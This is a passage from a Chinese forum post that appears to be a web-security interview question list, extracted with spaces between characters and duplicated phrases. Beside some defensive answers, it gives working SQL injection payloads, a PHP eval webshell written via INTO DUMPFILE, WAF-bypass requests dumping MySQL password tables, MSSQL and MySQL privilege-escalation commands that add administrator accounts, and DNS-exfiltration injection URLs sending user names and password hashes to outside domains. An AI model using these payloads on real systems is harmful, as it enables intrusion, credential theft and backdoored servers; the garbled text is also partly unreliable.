d   e x t r a c t v a l u e ( 1 ,   c o n c a t ( 0 x 7 e , ( s e l e c t @ @ v e r s i o n ) , 0 x 7 e ) ) ( 2 ) 通 过   f l o o r   报 错   向 下 取 整 ( 3 ) + a n d   u p d a t e x m l ( 1 ,   c o n c a t ( 0 x 7 e , ( s e c e c t @ @ v e r s i o n ) , 0 x 7 e ) , 1 )   4 ) g e o m e t r y c o l l e c t i o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   g e o m e t r y c o l l e c t i o n ( ( s e l e c t   f r o m ( s e l e c t f r o m ( s e l e c t
u s e r ( ) ) a ) b ) ) ;   ( 5 ) m u l t i p o i n t ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d m u l t i p o i n t ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; ( 5 ) p o l y g o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d p o l y g o n ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; ( 7 ) m u l t i p o l y g o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d m u l t i p o l y g o n ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; ( 8 ) l i n e s t r i n g ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d l i n e s t r i n g ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; ( 9 ) m u l t i l i n e s t r i n g ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d m u l t i l i n e s t r i n g ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ;   ( 1 0 ) e x p ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   e x p ( ~ ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) ) ; a d d s l a s h e s ( )   函 数 返 回 在 预 定 义 字 符 之 前 添 加 反 斜 杠 的 字 符 串 4 8 . 延 时 注 入 如 何 来 判 断 ？ ( 1 ) i f ( a s c i i ( s u b s t r ( “ h e l l o ” ,   1 ,   1 ) ) = 1 0 4 ( 2 )   s l e e p ( 5 ) ,   1 ) 4 9 . 盲 注 和 延 时 注 入 的 共 同 点 ？ 都 是 一 个 字 符 一 个 字 符 的 判 断 5 0 . 如 何 拿 一 个 网 站 的   w e b s h e l l ？ 上 传 ， 后 台 编 辑 模 板 ， s q l   注 入 写 文 件 ， 命 令 执 行 ， 代 码 执 行 ， 一 些 已 经 爆 出 的   c m s   漏 洞 ， 比 如   d e d e c m s   后 台 可 以 直 接 建 立 脚 本 文 件 ， w o r d p r e s s   上 传 插 件 包 含 脚 本 文 件   z i p   压 缩 包 等 5 1 . s q l   注 入 写 文 件 都 有 哪 些 函 数 ？ 注 入 写 文 件 都 有 哪 些 函 数 ？ ( 1 ) s e l e c t   ‘ 一 句 话 ’   i n t o   o u t f i l e   ‘ 路 径 ’ ( 2 ) s e l e c t   ‘ 一 句 话 ’   i n t o   d u m p f i l e   ‘ 路 径 ’ ( 3 )   s e l e c t   ‘ < ? p h p   e v a l ( $ _ P O S T [ 1 ] )   ? > ’   i n t o   d u m p f i l e   ‘ d : w w w r o o t b a i d u . c o m n v h a c k . p h p ’ ; 5 2 . 如 何 防 止 如 何 防 止   C S R F ? ( 1 ) 验 证   r e f e r e r ( 2 ) 验 证   t o k e n 详 细 ： h t t p : / / c n o d e j s . o r g / t o p i c / 5 5 3 3 d d 6 e 9 1 3 8 f 0 9 b 6 2 9 6 7 4 f d 5 3 . o w a s p   漏 洞 都 有 哪 些 ？ 漏 洞 都 有 哪 些 ？ ( 1 ) S Q L   注 入 ( 2 ) 失 效 的 身 份 认 证 和 会 话 管 理 ( 3 ) 跨 站 脚 本 攻 击   X S S ( 4 ) 直 接 引 用 不 安 全 的 对 象 ( 5 ) 安 全 配 置 错 误 ( 6 ) 敏 感 信 息 泄 露 ( 7 ) 缺 少 功 能 级 的 访 问 控 制 ( 8 ) 跨 站 请 求 伪 造   C S R F ( 9 ) 使 用 含 有 已 知 漏 洞 的 组 件 ( 1 0 ) ) 未 验 证 的 重 定 向 和 转 发 5 4 . S Q L   注 入 防 护 方 法 ？ 注 入 防 护 方 法 ？ ( 1 ) 使 用 安 全 的   A P I ( 2 ) 对 输 入 的 特 殊 字 符 进 行   E s c a p e   转 义 处 理 ( 3 ) 使 用 白 名 单 来 规 范 化 输 入 验 证 方 法
( 4 ) 对 客 户 端 输 入 进 行 控 制 ， 不 允 许 输 入   S Q L   注 入 相 关 的 特 殊 字 符 ( 5 ) 服 务 器 端 在 提 交 数 据 库 进 行   S Q L   查 询 之 前 ， 对 特 殊 字 符 进 行 过 滤 、 转 义 、 替 换 、 删 除 。 5 5 . 代 码 执 行 ， 文 件 读 取 ， 命 令 执 行 的 函 数 都 有 哪 些 ？ 代 码 执 行 ， 文 件 读 取 ， 命 令 执 行 的 函 数 都 有 哪 些 ？ ( 1 ) 代 码 执 行 ： e v a l , p r e g _ r e p l a c e + / e , a s s e r t , c a l l _ u s e r _ f u n c , c a l l _ u s e r _ f u n c _ a r r a y , c r e a t e _ f u   n c t i o n ( 2 ) 文 件 读 取 ： f i l e _ g e t _ c o n t e n t s ( ) , h i g h l i g h t _ f i l e ( ) , f o p e n ( ) , r e a d   f i l e ( ) , f r e a d ( ) , f g e t s s ( ) ,   f g e t s ( ) , p a r s e _ i n i _ f i l e ( ) , s h o w _ s o u r c e ( ) , f i l e ( ) 等 ( 3 ) 命 令 执 行 ： s y s t e m ( ) ,   e x e c ( ) ,   s h e l l _ e x e c ( ) ,   p a s s t h r u ( )   , p c n t l _ e x e c ( ) ,   p o p e n ( ) , p r o c _ o p e n ( ) 5 6 . i m g   标 签 除 了 标 签 除 了   o n e r r o r   属 性 外 ， 还 有 其 他 获 取 管 理 员 路 径 的 办 法 吗 ？ 属 性 外 ， 还 有 其 他 获 取 管 理 员 路 径 的 办 法 吗 ？ s r c   指 定 一 个 远 程 的 脚 本 文 件 ， 获 取   r e f e r e r 5 7 . i m g   标 签 除 了 标 签 除 了   o n e r r o r   属 性 外 ， 并 且 属 性 外 ， 并 且   s r c   属 性 的 后 缀 名 ， 必 须 以 属 性 的 后 缀 名 ， 必 须 以 . j p g   结 尾 ， 怎 么 获 取 管 理 员 路 结 尾 ， 怎 么 获 取 管 理 员 路 径 径 ? 远 程 服 务 器 修 改   a p a c h e   配 置 文 件 ， 配 置 . j p g   文 件 以   p h p   方 式 来 解 析 A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g < i m g   s r c = h t t p : / / x s s . t v / 1 . j p g >   会 以   p h p   方 式 来 解 析 5 8 . 怎 么 绕 过 怎 么 绕 过   W A F   注 入 和 上 传 以 及 注 入 和 上 传 以 及   x s s ？ ？ ( 1 ) 关 键 字 可 以 用 % （ 只 限   I I S   系 列 ） ， 比 如   s e l e c t   可 以   s e l % e % c t 。 原 理 ： 网 络 层   w a f   对   S E L % E % C T   进 行   u r l   解 码 后 变 成   S E L % E % C T ， 匹 配   s e l e c t   失 败 ， 而 进 入   a s p . d l l   对   S E L % E % C T   进 行   u r l   解 码 却 变 成   s e l e c t 。 I I S   下 的   a s p . d l l   文 件 在 对   a s p   文 件 后 参 数 串 进 行   u r l   解 码 时 ， 会 直 接 过 滤 掉   0 9 - 0 d （ 0 9   是   t a b   键 , 0 d 是 回 车 ） 、 2 0 （ 空 格 ） 、 % ( 后 两 个 字 符 有 一 个 不 是 十 六 进 制 ) 字 符 。 x s s 也 是 同 理 。 ( 2 ) 内 联 注 释 。 安 全 狗 不 拦 截 ， 但 是 安 全 宝 、 加 速 乐 、 D   盾 等 ， 看 到 / ! / 就   F a c k 了 ， 所 以 只 限 于 安 全 狗 。 比 如 ： / ! s e l e c t * / ( 3 ) 编 码 。 这 个 方 法 对   w a f   很 有 效 果 ， 因 为 一 般   w a f   会 解 码 ， 但 是 我 们 利 用 这 个 特 点 ， 进 行 两 次 编 码 ， 他 解 了 第 一 次 但 不 会 解 第 二 次 ， 就   b y p a s s   了 。 腾 讯 w a f 、 百 度   w a f   等 等 都 可 以 这 样   b y p a s s   的 ( 4 ) 绕 过 策 略 如 ： 伪 造 搜 索 引 擎 早 些 版 本 的 安 全 狗 是 有 这 个 漏 洞 的 ， 就 是 把   U s e r - A g e n t   修 改 为 搜 索 引 擎 ( 5 ) 插 入 关 键 目 录   a d m i n , d e d e , i n s t a l l   等 目 录 绕 过   3 6 0 w e b s c a n 3 6 0 w e b s c a n   脚 本 存 在 这 个 问 题 ， 就 是 判 断 是 否 为   a d m i n   d e d e   i n s t a l l   等 目 录 ， 如 果 是 则 不 做 拦 截 G E T   / p e n / n e w s . p h p ? i d = 1   u n i o n   s e l e c t   u s e r , p a s s w o r d   f r o m   m y s q l . u s e r   G E T   / p e n / n e w s . p h p / a d m i n ? i d = 1   u n i o n   s e l e c t   u s e r , p a s s w o r d   f r o m m y s q l . u s e r G E T   / p e n / a d m i n / … n e w s . p h p ? i d = 1   u n i o n   s e l e c t   u s e r , p a s s w o r d   f r o m   m y s q l . u s e r   ( 6 ) m u l t i p a r t   请 求 绕 过 ， 在   P O S T   请 求 中 添 加 一 个 上 传 文 件 ， 绕 过 了 绝 大 多 数 W A F 。 ( 7 ) 参 数 绕 过 ， 复 制 参 数 ， i d = 1 & i d = 1 用 一 些 特 殊 字 符 代 替 空 格 ， 比 如 在   m y s q l   中 % 0 a   是 换 行 ， 可 以 代 替 空 格 ， 这 个 方 法 也 可 以 部 分 绕 过 最 新 版 本 的 安 全 狗 ， 在   s q l s e r v e r   中 可 以 用 / * * / 代 替 空 格 ( 8 ) 内 联 注 释 ， 文 件 上 传 ， 复 制 文 件 包 一 份 再 加 一 份 在   f o r m - d a t a ; 后 面 增 加 一 定 的 字 符 5 9 . 既 然 宽 字 节 注 入 可 以 绕 过 单 引 号 过 滤 ， 那 么 怎 么 来 修 复 呢 ？ 既 然 宽 字 节 注 入 可 以 绕 过 单 引 号 过 滤 ， 那 么 怎 么 来 修 复 呢 ？ 宽 字 符 ： 解   决 方 法 ： 就 是 在 初 始 化 连 接 和 字 符 集 之 后 ， 使 用   S E T c h a r a c t e r _ s e t _ c l i e n t = b i n a r y   来 设 定 客 户 端 的 字 符 集 是 二 进 制 的 。 修 改 W i n d o w s   下 的   M y S Q L   配 置 文 件 一 般 是   m y . i n i ， L i n u x   下 的   M y S Q L   配 置 文 件 一 般 是   m y . c n f ， 比 如 ： m y s q l _ q u e r y   ( “ S E T c h a r a c t e r _ s e t _ c l i e n t = b i n a r y ” ) ; 。 c h a r a c t e r _ s e t _ c l i e n t   指 定 的 是   S Q L   语 句 的 编 码 ， 如 果 设 置 为   b i n a r y ， M y S Q L 就 以 二 进 制 来 执 行 ， 这 样 宽 字 节 编 码 问 题 就 没 有 用 武 之 地 了 。 详 细 参 考 ：
h t t p : / / w e n k u . b a i d u . c o m / l i n k ? u r l = F 4 C q 1 8 N Y d s n A T q 3 e q t r 3 z C W L K E x o E Y V 6 2 y J p 5 z s f M 5 c 8 5 i v 4 r l d T v l 1 A _ S G i l E A i W B _ O _ h g 0 C 9 A 8 V L o I T 4 K _ H x y y F 0 Z 7 x o 5 P i h h 1 V x x Y a 4 Q G i X Q _ w G D j i O F H u b Y v s h g l 6 0 . 列 举 出 列 举 出   o r a c l e   注 入 获 取 管 理 员 权 限 提 权 典 型 漏 洞 ？ 注 入 获 取 管 理 员 权 限 提 权 典 型 漏 洞 ？ 【 漏 洞 名 称 】   s y s . d b m s _ e x p o r t _ e x t e n s i o n . g e t _ d o m a i n _ i n d e x _ m e t a d a t a   提 升 权 限 漏 洞 【 影 响 平 台 】 O r a c l e   8 i   /   9 i   /   1 0 g   /   X E 【 风 险 等 级 】 高 【 攻 击 需 求 】 较 低 权 限 账 号 【 造 成 危 害 】 取 得 管 理 员 权 限 6 1 . m s s q l   提 权 的 提 权 思 路 有 哪 些 步 骤 ？ 提 权 的 提 权 思 路 有 哪 些 步 骤 ？ ( 1 ) 首 先 看 看   x p _ c m d s h e l   是 否   l   存 在 , 不 存 在 的 话 先 恢 复 ， 恢 复 语 句 如 下 ： E x e c   s p _ c o n f i g u r e   s h o w   a d v a n c e d   o p t i o n s , 1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   x p _ c m d s h e l l , 1 ; R E C O N F I G U R E ; ; E X E C   s p _ c o n f i g u r e   s h o w   a d v a n c e d   o p t i o n s ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   x p _ c m d s h e l l ,   1 ; R E C O N F I G U R E ; – ( 2 ) 如 果   x p _ c m d s h e l l   还 是 不 行 就 再 执 行 命 令 ; d b c c   a d d e x t e n d e d p r o c ( “ x p _ c m d s h e l l ” , “ x p l o g 7 0 . d l l ” ) ; – 或 ; s p _ a d d e x t e n d e d p r o c   x p _ c m d s h e l l , @ d l l n a m e = x p l o g 7 0 . d l l   来 恢 复 c m d s h e l l ( 3 ) 无 法 在 库   x p w e b 7 0 . d l l   中 找 到 函 数   x p _ c m d s h e l l 。 原 因 :   1 2 7 ( 找 不 到 指 定 的 程 序 。 ) 恢 复 方 法 ： 查 询 分 离 器 连 接 后 , 第 一 步 执 行 : e x e c   s p _ d r o p e x t e n d e d p r o c   x p _ c m d s h e l l 第 二 步 执 行 : e x e c   s p _ a d d e x t e n d e d p r o c   x p _ c m d s h e l l , x p w e b 7 0 . d l l 然 后 按   F 5   键 命 令 执 行 完 毕 ( 4 ) 终 极 方 法 如 果 以 上 方 法 均 不 可 恢 复 , 请 尝 试 用 下 面 的 办 法 直 接 添 加 帐 户 : 查 询 分 离 器 连 接 后 ,   2 0 0 0 s e r v s e r   系 统 : d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   w s c r i p t . s h e l l , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , r u n , n u l l , c : w i n n t s y s t e m 3 2 c m d . e x e   / c   n e t   u s e r   d e l l   h u x i f e n g 0 0 7   / a d d d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   w s c r i p t . s h e l l , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , r u n , n u l l , c : w i n n t s y s t e m 3 2 c m d . e x e   / c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   d e l l   / a d d   s q l 2 0 0 8 提 权   低 权 限 运 行 6 2 、 、 m s s q l   提 权 提 示 错 误 代 码 提 权 提 示 错 误 代 码   5 ， ， c m d   权 限 不 足 的 原 因 ？ 权 限 不 足 的 原 因 ？ 错 误 代 码 ” 5 ″ ， 马 上   g o o g l e   之 。 由 于   x p _ c m d s h e l l   是 严 格 用 % s y s t e m r o o t % s y s t e m 3 2 c m d . e x e   去 执 行 所 提 交 的 命 令 的 ， 提 示 ” 5 ″ ， 意 思 是   c m d   的 权 限 不 足 ， 就 是 说   s y s t e m 3 2   下 的   c m d . e x e   被 降 权 了 。 当 然 也 有 绕 过 的 方 法 ， 比 如 启 用 沙 盒 模 式 执 行   s h e l l   命 令 ： 6 3 . 怎 么 用 怎 么 用   s q l m a p   对 对   s a   权 限 的 权 限 的   m s s q l   2 0 0 8   进 行 提 权 ？ 进 行 提 权 ？ （ 1 ） 第 一 种 函 数 s e l e c t   n a m e   f r o m   s y s o b j e c t s   w h e r e   x t y p e = u   通 过 这 个 来 爆 第 一 个 表 s e l e c t   n a m e   f r o m   s y s o b j e c t s   w h e r e   x t y p e = u   a n d   n a m e   n o t   i n ( 爆 出 来 的 表 1 ， 爆 出 来 的 表   2 … ) 一 直 爆 下 去 ， 直 到 找 到 我 们 所 需 要 的 表 位 置 （ 2 ） 第 二 种 函 数 s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ n a m e n o t   i n   ( 爆 出 来 的 表   1 ， 爆 出 来 的 表   2 … ) 参 考 文 章 ： h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 0 2 8 0 . h t m l
6 4 . x x e   注 入 有 哪 些 危 害 以 及 防 御 注 入 有 哪 些 危 害 以 及 防 御   ？ ？ ( 1 ) 引 用 外 部 实 体 < ! E N T I T Y   实 体 名 称   S Y S T E M   " U R I " > 或 者   < ! E N T I T Y   实 体 名 称   P U B L I C   “ p u b l i c _ I D ”   “ U R I ” > 当 允 许 引 用 外 部 实 体 时 ， 通 过 构 造 恶 意 内 容 ( 2 ) 可 导 致 读 取 任 意 文 件 、 执 行 系 统 命 令 、 探 测 内 网 端 口 、 攻 击 内 网 网 站 等 危 害 。 对 于 不 同   X M L   解 析 器 , 对 外 部 实 体 有 不 同 处 理 规 则 , 在   P H P   中 默 认 处 理 的 函 数 为 : x m l _ p a r s e   和   s i m p l e x m l _ l o a d   x m l _ p a r s e   的 实 现 方 式 为   e x p a t   库 ， 默 认 情 况 不 会 解 析 外 部 实 体 , 而   s i m p l e x m l _ l o a d   默 认 情 况 下 会 解 析 外 部 实 体 , 造 成 安 全 威 胁 . 除   P H P   外 ， 在   J a v a ， P y t h o n   等 处 理   x m l   的 组 件 及 函 数 中 都 可 能 存 在 此 问 题 h t t p s : / / w w w . w a i t a l o n e . c n / x x e - a t t a c k . h t m l X X E   漏 洞   h t t p : / / w w w . 9 1 r i . o r g / 9 5 3 9 . h t m l     （ 3 ） 防 御 ： 方 案 一 、 使 用 开 发 语 言 提 供 的 禁 用 外 部 实 体 的 方 法 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; 方 案 二 、 过 滤 用 户 提 交 的   X M L   数 据 1 . 检 查 所 使 用 的 底 层   x m l   解 析 库 ， 默 认 禁 止 外 部 实 体 的 解 析 2 . 使 用 第 三 方 应 用 代 码 及 时 升 级 补 丁 3 . 同 时 增 强 对 系 统 的 监 控 ， 防 止 此 问 题 被 人 利 用 对 于   P H P , 由 于   s i m p l e x m l _ l o a d _ s t r i n g   函 数 的   X M L   解 析 问 题 出 在   l i b x m l   库 上 , 所 以 加 载 实 体 前 可 以 调 用 这 样 一 个 函 数 6 5 . g p c   魔 术 引 号 ？ 魔 术 引 号 ？ 参 考 文 章 ： h t t p : / / w w w . j b 5 1 . n e t / a r t i c l e / 3 8 9 9 0 6 6 . M Y S Q L   有 哪 些 提 权 方 法 ？ 有 哪 些 提 权 方 法 ？ ( 1 ) U D F   提 权 这 类 提 权 方 法 我 想 大 家 已 经 知 道 了 ， 我 大 致 写 一 下 ， 具 体 语 句 如 下 ： c r e a t e   f u n c t i o n   c m d s h e l l   r e t u r n s   s t r i n g   s o n a m e   ’ u d f . d l l ’   s e l e c t   c m d s h e l l ( ’ n e t   u s e r   i i s _ u s e r   1 2 3 ! @ # a b c A B C   / a d d ’ ) ; s e l e c t   c m d s h e l l ( ’ n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   i i s _ u s e r   / a d d ’ ) ; s e l e c t   c m d s h e l l ( ’ r e g e d i t   / s   d : w e b 3 3 8 9 . r e g ’ ) ; d r o p   f u n c t i o n   c m d s h e l l ; s e l e c t   c m d s h e l l ( ’ n e t s t a t   - a n ’ ) ; ( 2 ) V B S   启 动 项 提 权 c r e a t e   t a b l e   a   ( c m d   t e x t ) ; i n s e r t   i n t o   a   v a l u e s   ( “ s e t   w s h s h e l l = c r e a t e o b j e c t   ( ” “ w s c r i p t . s h e l l ” " )   "   ) ; i n s e r t   i n t o   a   v a l u e s   ( “ a = w s h s h e l l . r u n   ( ” “ c m d . e x e   / c   n e t   u s e r   i i s _ u s e r   1 2 3 ! @ # a b c A B C / a d d ” " , 0 )   "   ) ; i n s e r t   i n t o   a   v a l u e s   ( “ b = w s h s h e l l . r u n   ( ” “ c m d . e x e   / c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   i i s _ u s e r   / a d d ” " , 0 )   "   ) ; s e l e c t   *   f r o m   a   i n t o   o u t f i l e   “ C : D o c u m e n t s   a n d   S e t t i n g s A l l   U s e r s 「 开 始 」 菜 单 程 序 启 动 a . v b s ” ; ( 3 ) L i n x   M y S Q L   B a c k D o o r   提 权 L i n x   M y s q l   D o o r M y s q l   B a c k D o o r   是 一 款 针 对   P H P + M y s q l   服 务 器 开 发 的 后 门 , 该 后 门 安 装 后 为 M y s q l   增 加 一 个 可 以 执 行 系 统 命 令 的 " s t a t e " 函 数 , 并 且 随   M y s q l   进 程 启 动 一 个 基 于   D l l   的 嗅 探 型 后 门 , 这 个 后 门 在   W i n d o w s   下 拥 有 与   M y s q l   一 样 的 系 统 权 限 , 从 而 巧 妙 的 实 现 了 无 端 口 , 无 进 程 , 无 服 务 的 穿 墙 木 马 . 用 法 ： 将   M y s q l . p h p   传 到   P H P   服 务 器 上 , 点 击 " 自 动 安 装   M y s q l   B a c k D o o r " ， 然 后 直 接 执 行 命 令 即 可 。 ( 4 ) M I X . D L L   提 权 1 . 在 独 立   I P   的   s q l m a p   下 运 行 2 . 禁 用 本 地 缓 存 n e t   s t o p   d n s   3 . h t t p : / / l o c a l h o s t / i n j e c t . p h p ? u s e r = 1 2 3 ’ a n d   i f ( ( S E L E C T   L O A D _ F I L E ( C O N C A T ( ’ ’ , ( S E L E C T   h e x ( u s e r ( ) ) ) , ’ . a b c . c o m f o o b a r ’ ) ) ) , 1 , 1 ) % 2 3   h t t p : / / l o c a l h o s t / i n j e c t . p h p ? u s e r = 1 2 3 ’ a n d   i f ( ( S E L E C T   L O A D F I L E ( C O N C A T ( ’ ’ , ( S E L E C T   c o n c a t ( u s e r , ’ ’ , m i d ( p a s s w o r d , 2 , 4 1 ) )   f r o m   u s e r   w h e r e   u s e r = ‘ r o o t ’   l i m i t   1 ) , ’ . m d 5 c r a c k . c n f o o b a r ’ ) ) ) , 1 , 1 ) % 2 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理